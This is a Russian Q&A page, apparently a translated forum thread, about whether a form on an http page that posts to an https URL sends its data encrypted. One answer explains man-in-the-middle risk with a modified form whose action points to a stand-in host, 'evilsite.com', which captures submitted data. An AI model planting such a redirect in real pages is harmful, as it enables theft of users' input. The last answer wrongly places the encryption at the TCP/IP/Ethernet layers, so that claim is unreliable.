Является ли информация все еще зашифрованной, если я использую <form action = "https"> с обычной http-страницы? - PullRequest
9 голосов
/ 30 марта 2010

Скажи, что я на URL http://mysite.com/form.html. При просмотре источника я вижу

<form method="post" action="https://mysite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>

Если я нажму кнопку отправки, будет ли информация в форме зашифрована при отправке на страницу процесса / контроллер?

Ответы [ 4 ]

7 голосов
/ 30 марта 2010

Да - данные в форме будут отправлены в зашифрованном виде, используя обычное рукопожатие, которое реализует SSL. Оттуда вы можете оставить своего пользователя под SSL или вернуть его к стандартному соединению, используя идентификатор сеанса.

6 голосов
/ 01 апреля 2010

Нет гарантии, что он будет зашифрован или что отправленные данные попадут на ваш сайт.

Поскольку исходный ответ был более http, человек посередине мог изменить ваш источник HTML или мог вставить некоторый JavaScript, чтобы изменить параметр действия вашей формы. Таким образом, ваша форма может читать, когда она достигает браузера

<form method="post" action="https://evilsite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>

Это означает, что вы ДОЛЖНЫ использовать HTTPS на всех своих страницах, если хотите быть в безопасности.

4 голосов
/ 30 марта 2010

Да, будет, но обратите внимание, что при обучении пользователей было приложено немало усилий для поиска замка SSL на странице, содержащей форму (вопрос о том, является ли обучение эффективным, - это другой вопрос). Браузеры, как правило, будут жаловаться, если форма на защищенной странице отправляется на небезопасную страницу, так что это обученное поведение имеет положительную цель.

Если вы реализуете свою форму таким образом, у пользователя не будет возможности узнать, что отправка формы будет безопасной (без просмотра кода страницы), пока он не нажмет кнопку отправки. Это может не иметь значения в вашем случае использования, но это противоречит попыткам обучить людей искать замок, если данные в форме таковы, что пользователь должен только безопасно передавать его.

0 голосов
/ 30 марта 2010

Он будет зашифрован на нижних уровнях сети (например, необработанные пакеты, TCP, IP, Ethernet), а не на уровне приложения (поскольку он прозрачно декодируется на стороне получателя).

Человек посередине не увидит обычный текст данных отправленной вами формы, когда целевой URL использует шифрование (как HTTPS).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...